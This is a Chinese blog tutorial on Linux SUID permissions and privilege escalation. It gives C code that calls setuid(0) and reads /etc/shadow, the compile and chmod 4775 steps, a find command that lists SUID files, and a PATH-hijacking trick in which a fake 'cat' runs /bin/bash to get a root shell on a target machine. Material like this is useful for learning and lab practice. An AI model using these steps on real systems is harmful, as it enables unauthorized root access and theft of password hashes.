1. 定义

  SUID是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行。

SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限(仅对拥有执行权限的二进制程序有效)。例如,所有用户都可以执行passwd命令来修改自己的用户密码,而用户密码保存在/etc/shadow文件中。仔细查看这个文件就会发现它的默认权限是000,也就是说除了root管理员以外,所有用户都没有查看或编辑该文件的权限。但是,在使用passwd命令时如果加上SUID特殊权限位,就可让普通用户临时获得程序所有者的身份,把变更的密码信息写入到shadow文件中。这很像我们在古装剧中见到的手持尚方宝剑的钦差大臣,他手持的尚方宝剑代表的是皇上的权威,因此可以惩戒贪官,但这并不意味着他永久成为了皇上。因此这只是一种有条件的、临时的特殊权限授权方法。

 1 c源代码
 2 #include<stdlib.h>
 3 #include <unistd.h>
 4 int main()
 5 {
 6 setuid(0);//run as root
 7 system("id");
 8 system("cat /etc/shadow");//命令可以改
 9 }
10 以 root进行编译和权限设置

 

 

2. 方法

  将该c文件进行编译: gcc exp.c -o exp

  再设置其suid位: chmod 4775 exp (chmod 4775 四位数中第一位详解_Perry-CSDN博客

  查找其文件位置和权限(主要看权限中有没有s属性):

    位置: find / -perm -u=s -type f 2 > /dev/null 查找根目录下所以带有suid属性的文件

    查询权限: ls -l exp或者就ls -al

  随后在靶机上执行,就可以暂时执行需要root权限的命令

 

3. 劫持环境变量提权

  原理: 因为system函数是继承环境变量,可以通过替换环境变量可以达到执行任意命令。

  方法:

    创建一个文件: echo "/bin/bash">cat && chmod 777 cat(文件名

    把当前目录添加到环境变量内: export PATH=.:$PATH

    如此设置后,当再次执行我们所写的exp时会优先从当前文件夹下开始找cat命令内容,然而当前文件下有名为cat的文件,此时就会以高权限来执行"system("cat /etc/shadow)"并且cat命令的效果是/bin/bash,此时就会将低权限shell提升到高权限。

  

 

posted on 2021-08-07 18:01  EndlessShw  阅读(144)  评论(0)    收藏  举报